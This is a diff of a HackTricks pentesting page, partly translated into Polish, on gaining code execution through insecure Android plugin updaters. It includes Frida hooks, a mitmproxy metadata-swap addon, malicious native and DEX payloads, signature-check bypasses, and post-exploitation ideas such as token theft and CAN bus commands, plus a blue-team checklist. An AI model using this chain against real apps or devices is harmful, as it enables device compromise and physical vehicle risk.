mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
parent
2ae3db5a8b
commit
31f0e96db7
@ -1,16 +1,49 @@
|
||||
# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
|
||||
# Niebezpieczne mechanizmy aktualizacji in‑app – Remote Code Execution via Malicious Plugins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Wiele aplikacji na Androida implementuje **własne kanały aktualizacji „pluginów” lub „dynamicznych funkcji”** zamiast korzystać z Google Play Store. Gdy implementacja jest niebezpieczna, atakujący, który jest w stanie przechwycić ruch, może dostarczyć **dowolny kod natywny, który zostanie załadowany w procesie aplikacji**, co prowadzi do pełnego zdalnego wykonania kodu (RCE) na urządzeniu – a w niektórych przypadkach na każdym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne…).
|
||||
Wiele aplikacji Android implementuje własne kanały aktualizacji „plugin” lub „dynamic feature” zamiast używać Google Play Store. Gdy implementacja jest niebezpieczna, atakujący mogący przechwycić lub modyfikować ruch aktualizacji może dostarczyć dowolny natywny lub Dalvik/ART kod, który zostanie załadowany w procesie aplikacji, prowadząc do pełnego Remote Code Execution (RCE) na urządzeniu — a w niektórych przypadkach także na dowolnym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne …).
|
||||
|
||||
Ta strona podsumowuje łańcuch podatności z rzeczywistego świata znaleziony w aplikacji diagnostycznej Xtool **AnyScan** (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł audytować inne aplikacje na Androida i wykorzystać błędną konfigurację podczas zaangażowania red-teamu.
|
||||
Ta strona podsumowuje realny łańcuch podatności znaleziony w aplikacji diagnostycznej Xtool AnyScan (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł/a audytować inne aplikacje Android i weaponise the mis-configuration podczas red-team engagement.
|
||||
|
||||
---
|
||||
## 1. Identifying an Insecure TLS TrustManager
|
||||
## 0. Quick triage: does the app have an in‑app updater?
|
||||
|
||||
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
|
||||
Wskazówki statyczne do wyszukania w JADX/apktool:
|
||||
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
|
||||
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
|
||||
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
|
||||
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
|
||||
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
|
||||
|
||||
Runtime hooks to confirm:
|
||||
```js
|
||||
// Frida: log native and dex loading
|
||||
Java.perform(() => {
|
||||
const Runtime = Java.use('java.lang.Runtime');
|
||||
const SystemJ = Java.use('java.lang.System');
|
||||
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
|
||||
|
||||
SystemJ.load.overload('java.lang.String').implementation = function(p) {
|
||||
console.log('[System.load] ' + p); return this.load(p);
|
||||
};
|
||||
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
|
||||
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
|
||||
};
|
||||
Runtime.load.overload('java.lang.String').implementation = function(p){
|
||||
console.log('[Runtime.load] ' + p); return this.load(p);
|
||||
};
|
||||
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
|
||||
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
|
||||
return this.$init(dexPath, optDir, libPath, parent);
|
||||
};
|
||||
});
|
||||
```
|
||||
---
|
||||
## 1. Identyfikacja niezabezpieczonego TLS TrustManagera
|
||||
|
||||
1. Zdekompiluj APK za pomocą jadx / apktool i zlokalizuj stos sieciowy (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Poszukaj niestandardowego `TrustManager` lub `HostnameVerifier`, który ślepo ufa wszystkim certyfikatom:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. Jeśli jest obecny, aplikacja zaakceptuje **dowolny certyfikat TLS** → możesz uruchomić przezroczysty **MITM proxy** z certyfikatem samopodpisanym:
|
||||
3. Jeśli jest obecna, aplikacja zaakceptuje dowolny certyfikat TLS → możesz uruchomić transparentny MITM proxy z self-signed cert:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. Inżynieria wsteczna metadanych aktualizacji
|
||||
Jeśli TLS pinning jest wymuszony zamiast niebezpiecznej logiki trust-all, zobacz:
|
||||
|
||||
W przypadku AnyScan każde uruchomienie aplikacji wyzwala żądanie HTTPS GET do:
|
||||
{{#ref}}
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
## 2. Reverse-Engineering metadanych aktualizacji
|
||||
|
||||
W przypadku AnyScan każde uruchomienie aplikacji wywołuje żądanie HTTPS GET do:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
Ciało odpowiedzi to **dokument XML**, którego węzły `<FileData>` zawierają **zakodowany w Base64, zaszyfrowany DES-ECB** JSON opisujący każdy dostępny plugin.
|
||||
Treść odpowiedzi to dokument XML, którego węzły `<FileData>` zawierają Base64-encoded, DES-ECB encrypted JSON opisujące każdy dostępny plugin.
|
||||
|
||||
Typowe kroki poszukiwania:
|
||||
1. Zlokalizuj rutynę kryptograficzną (np. `RemoteServiceProxy`) i odzyskaj:
|
||||
* algorytm (DES / AES / RC4 …)
|
||||
* tryb operacji (ECB / CBC / GCM …)
|
||||
* klucz / IV zakodowany na stałe (często 56-bitowe klucze DES lub 128-bitowe klucze AES w stałych)
|
||||
2. Ponownie zaimplementuj funkcję w Pythonie, aby odszyfrować / zaszyfrować metadane:
|
||||
1. Znajdź rutynę kryptograficzną (np. `RemoteServiceProxy`) i odzyskaj:
|
||||
- algorytm (DES / AES / RC4 …)
|
||||
- tryb działania (ECB / CBC / GCM …)
|
||||
- twardo zakodowany klucz / IV (zwykle stałe 56‑bit DES lub 128‑bit AES)
|
||||
2. Zaimplementuj ponownie funkcję w Pythonie, aby odszyfrować / zaszyfrować metadane:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. Stwórz złośliwy plugin
|
||||
Notatki zaobserwowane in the wild (2023–2025):
|
||||
- Metadane są często JSON-within-XML lub protobuf; słabe szyfry i statyczne klucze są powszechne.
|
||||
- Wiele updaterów akceptuje zwykły HTTP do pobrania właściwego payloadu, nawet jeśli metadane przychodzą przez HTTPS.
|
||||
- Pluginy często rozpakowują się do app-internal storage; niektóre nadal używają external storage lub przestarzałego `requestLegacyExternalStorage`, co umożliwia manipulacje między aplikacjami.
|
||||
|
||||
1. Wybierz dowolny legalny plugin ZIP i zastąp bibliotekę natywną swoim ładunkiem:
|
||||
---
|
||||
## 3. Craft a Malicious Plugin
|
||||
|
||||
### 3.1 Native library path (dlopen/System.load[Library])
|
||||
|
||||
1. Wybierz dowolny prawdziwy plugin ZIP i zamień bibliotekę natywną na swój payload:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. Zaktualizuj metadane JSON, aby `"FileName" : "PWNED.zip"` oraz `"DownloadURL"` wskazywały na twój serwer HTTP.
|
||||
3. Zaszyfruj DES-em + zakoduj w Base64 zmodyfikowany JSON i skopiuj go z powrotem do przechwyconego XML.
|
||||
2. Zaktualizuj metadane JSON, tak aby `"FileName" : "PWNED.zip"` i `"DownloadURL"` wskazywały na Twój serwer HTTP.
|
||||
3. Ponownie zaszyfruj + zakoduj w Base64 zmodyfikowany JSON i wklej go z powrotem do przechwyconego XML.
|
||||
|
||||
## 4. Dostarcz Payload za pomocą mitmproxy
|
||||
### 3.2 Dex-based plugin path (DexClassLoader)
|
||||
|
||||
`addon.py` przykład, który *cicho* zamienia oryginalne metadane:
|
||||
Niektóre aplikacje pobierają JAR/APK i ładują kod za pomocą `DexClassLoader`. Zbuduj złośliwy DEX, który uruchamia się przy załadowaniu:
|
||||
```java
|
||||
// src/pwn/Dropper.java
|
||||
package pwn;
|
||||
public class Dropper {
|
||||
static { // runs on class load
|
||||
try {
|
||||
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
|
||||
} catch (Throwable t) {}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Compile and package to a DEX jar
|
||||
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
|
||||
jar cf dropper.jar -C out/ .
|
||||
d8 --output outdex/ dropper.jar
|
||||
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
|
||||
```
|
||||
Jeśli cel wywoła `Class.forName("pwn.Dropper")`, wykona się Twój inicjalizator statyczny; w przeciwnym razie refleksyjnie wylistuj załadowane klasy za pomocą Frida i wywołaj wyeksportowaną metodę.
|
||||
|
||||
---
|
||||
## 4. Dostarcz Payload przy użyciu mitmproxy
|
||||
|
||||
Przykład `addon.py`, który dyskretnie podmienia oryginalne metadane:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
@ -89,36 +166,69 @@ MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
Uruchom prosty serwer WWW, aby hostować złośliwy plik ZIP:
|
||||
Uruchom prosty web server, aby hostować złośliwy ZIP/JAR:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
Kiedy ofiara uruchomi aplikację, to:
|
||||
* pobierze nasz sfałszowany XML przez kanał MITM;
|
||||
* odszyfruje i sparsuje go za pomocą wbudowanego klucza DES;
|
||||
* pobierze `PWNED.zip` → rozpakowuje w prywatnej pamięci;
|
||||
* `dlopen()` dołączoną *libscan_x64.so*, natychmiast wykonując nasz kod **z uprawnieniami aplikacji** (kamera, GPS, Bluetooth, system plików, …).
|
||||
Po uruchomieniu aplikacji przez ofiarę, ta:
|
||||
- pobierze nasz sfałszowany XML przez kanał MITM;
|
||||
- odszyfruje i sparsuje go przy użyciu wbudowanego mechanizmu kryptograficznego;
|
||||
- pobierze `PWNED.zip` lub `plugin.jar` → rozpakowuje wewnątrz prywatnej przestrzeni aplikacji;
|
||||
- załaduje dołączone `.so` lub DEX, natychmiast wykonując nasz kod z uprawnieniami aplikacji (aparat, GPS, Bluetooth, system plików, …).
|
||||
|
||||
Ponieważ wtyczka jest buforowana na dysku, tylne wejście **utrzymuje się po ponownych uruchomieniach** i działa za każdym razem, gdy użytkownik wybiera powiązaną funkcję.
|
||||
|
||||
## 5. Pomysły na post-eksploatację
|
||||
|
||||
* Kradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację.
|
||||
* Zainstaluj APK drugiego etapu i cicho zainstaluj go za pomocą `pm install` (aplikacja już ma `REQUEST_INSTALL_PACKAGES`).
|
||||
* Wykorzystaj wszelkie podłączone urządzenia – w scenariuszu AnyScan możesz wysyłać dowolne **komendy OBD-II / CAN bus** (otwieranie drzwi, wyłączanie ABS, itp.).
|
||||
Ponieważ plugin jest cache'owany na dysku, backdoor utrzymuje się po restarcie i uruchamia się za każdym razem, gdy użytkownik wybierze powiązaną funkcję.
|
||||
|
||||
---
|
||||
### Lista kontrolna wykrywania i łagodzenia (niebieski zespół)
|
||||
## 4.1 Omijanie sprawdzania sygnatur/sum kontrolnych (jeśli obecne)
|
||||
|
||||
* NIGDY nie wysyłaj wersji produkcyjnej z niestandardowym TrustManager/HostnameVerifier, który wyłącza walidację certyfikatów.
|
||||
* Nie pobieraj kodu wykonywalnego z zewnątrz Google Play. Jeśli *musisz*, podpisz każdą wtyczkę tym samym kluczem **apkSigning v2** i zweryfikuj podpis przed załadowaniem.
|
||||
* Zastąp słabą/wbudowaną kryptografię **AES-GCM** i rotującym kluczem po stronie serwera.
|
||||
* Waliduj integralność pobranych archiwów (podpis lub przynajmniej SHA-256).
|
||||
Jeśli updater weryfikuje sygnatury lub sumy kontrolne, hook weryfikację tak, aby zawsze akceptowała zawartość atakującego:
|
||||
```js
|
||||
// Frida – make java.security.Signature.verify() return true
|
||||
Java.perform(() => {
|
||||
const Sig = Java.use('java.security.Signature');
|
||||
Sig.verify.overload('[B').implementation = function(a) { return true; };
|
||||
});
|
||||
|
||||
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
|
||||
Java.perform(() => {
|
||||
const Arrays = Java.use('java.util.Arrays');
|
||||
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
|
||||
});
|
||||
```
|
||||
Rozważ też stubowanie metod dostawcy takich jak `PluginVerifier.verifySignature()`, `checkHash()`, lub obejście logiki bramek aktualizacji w Java lub JNI.
|
||||
|
||||
---
|
||||
## Odniesienia
|
||||
## 5. Inne wektory ataku w updaterach (2023–2025)
|
||||
|
||||
- [NowSecure – Wykryto zdalne wykonanie kodu w aplikacji Xtool AnyScan](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Niebezpieczne wzorce TrustManager](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
- Zip Slip path traversal podczas rozpakowywania pluginów: złośliwe wpisy takie jak `../../../../data/data/<pkg>/files/target` nadpisują dowolne pliki. Zawsze sanityzuj ścieżki wpisów i używaj białych list.
|
||||
- Staging na pamięci zewnętrznej: jeśli aplikacja zapisuje archiwum na pamięci zewnętrznej przed załadowaniem, inna aplikacja może je zmodyfikować. Scoped Storage lub pamięć wewnętrzna aplikacji zapobiegają temu.
|
||||
- Cleartext downloads: metadane przez HTTPS, ale payload przez HTTP → prosta zamiana w ataku MITM.
|
||||
- Niekompletne sprawdzenia podpisu: porównywanie tylko hasha pojedynczego pliku, a nie całego archiwum; brak powiązania podpisu z kluczem developera; akceptowanie dowolnego klucza RSA obecnego w archiwum.
|
||||
- React Native / Web-based OTA content: jeśli natywne mosty wykonują JS z OTA bez ścisłego podpisywania, wykonywanie dowolnego kodu w kontekście aplikacji jest możliwe (np. insecure CodePush-like flows). Zapewnij detached update signing i rygorystyczną weryfikację.
|
||||
|
||||
---
|
||||
## 6. Pomysły po eksploatacji
|
||||
|
||||
- Ukradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację.
|
||||
- Wrzucić APK drugiego etapu i cicho zainstalować go przez `pm install` jeśli to możliwe (niektóre aplikacje już deklarują `REQUEST_INSTALL_PACKAGES`).
|
||||
- Nadużyć podłączonego hardware’u – w scenariuszu AnyScan możesz wysyłać dowolne komendy OBD‑II / CAN bus (odblokować drzwi, wyłączyć ABS itp.).
|
||||
|
||||
---
|
||||
### Lista kontrolna wykrywania i łagodzenia (blue team)
|
||||
|
||||
- Unikaj dynamicznego ładowania kodu i aktualizacji spoza sklepu. Preferuj Play‑mediated updates. Jeśli dynamiczne pluginy są konieczne, projektuj je jako paczki zawierające tylko dane, a kod wykonywalny trzymaj w bazowym APK.
|
||||
- Wymuszaj prawidłowe TLS: brak niestandardowych menedżerów akceptujących wszystkie certyfikaty; stosuj pinning tam, gdzie to możliwe i utwardzoną konfigurację network security, która zabrania ruchu w cleartext.
|
||||
- Nie pobieraj kodu wykonywalnego spoza Google Play. Jeśli musisz, używaj detached update signing (np. Ed25519/RSA) z kluczem kontrolowanym przez developera i weryfikuj przed załadowaniem. Powiąż metadane i payload (długość, hash, wersja) i zamykaj w razie błędu.
|
||||
- Używaj nowoczesnej kryptografii (AES‑GCM) z nonce per‑message dla metadanych; usuń zakodowane na stałe klucze z klienta.
|
||||
- Waliduj integralność pobranych archiwów: weryfikuj podpis obejmujący każdy plik, albo przynajmniej weryfikuj manifest SHA‑256 hashy. Odrzucaj dodatkowe/nieznane pliki.
|
||||
- Przechowuj pobrane pliki w pamięci wewnętrznej aplikacji (lub Scoped Storage na Android 10+) i stosuj uprawnienia plików zapobiegające modyfikacjom między aplikacjami.
|
||||
- Chroń przed Zip Slip: normalizuj i waliduj ścieżki wpisów w zipie przed rozpakowaniem; odrzucaj ścieżki absolutne lub segmenty `..`.
|
||||
- Rozważ Play “Code Transparency”, aby umożliwić sobie i użytkownikom weryfikację, że dostarczony kod DEX/native odpowiada temu, co zbudowałeś (uzupełnia, ale nie zastępuje podpisywania APK).
|
||||
|
||||
---
|
||||
## References
|
||||
|
||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user